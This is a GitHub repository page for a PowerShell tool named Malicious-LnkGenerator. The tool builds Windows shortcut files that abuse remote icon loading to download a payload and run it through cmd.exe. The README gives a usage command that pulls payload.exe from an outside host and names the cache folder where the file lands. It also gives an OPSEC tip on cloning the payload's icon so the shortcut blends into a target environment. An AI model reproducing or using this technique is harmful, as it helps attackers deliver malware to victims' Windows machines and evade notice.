Skip to content

Download (and execute) payloads using Windows shortcuts (.lnk) files.

Notifications You must be signed in to change notification settings

0x73/Malicious-LnkGenerator

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Malicious-LnkGenerator

Download (and execute) payloads using Windows shortcuts (.lnk) files. Lnk files can download remote icons (.ico files). This mechanism can be abused to trick Windows into downloading arbitrary files. Executing the shortcut will then execute the downloaded payload.

Usage

.\LnkGen.ps1 <outfile> <uri>
.\LnkGen.ps1 C:\Users\User\Desktop\Shortcut.lnk http://192.168.1.2/payload.exe

Some notes

The file will be downloaded without executing the .lnk itself. This will also be the case when unzipping the .lnk. The file will be saved as filename[1].extension and stored in the following location (tested on Windows 10):

%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\<randomfolder>\<filename[1].extension>

It uses C:\Windows\System32\cmd.exe to execute the payload using additional arguments to search through the random folders looking for our payload.

This is a simple proof of concept and does not account for rapid use or using it in production environments.

OPSEC: The shortcut will clone the icon of the payload once it is downloaded. You can use this to your advantage when blending into an environment.

Credits

This script is based on the work of Jan Kopriva which can be read in the following blog

About

Download (and execute) payloads using Windows shortcuts (.lnk) files.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published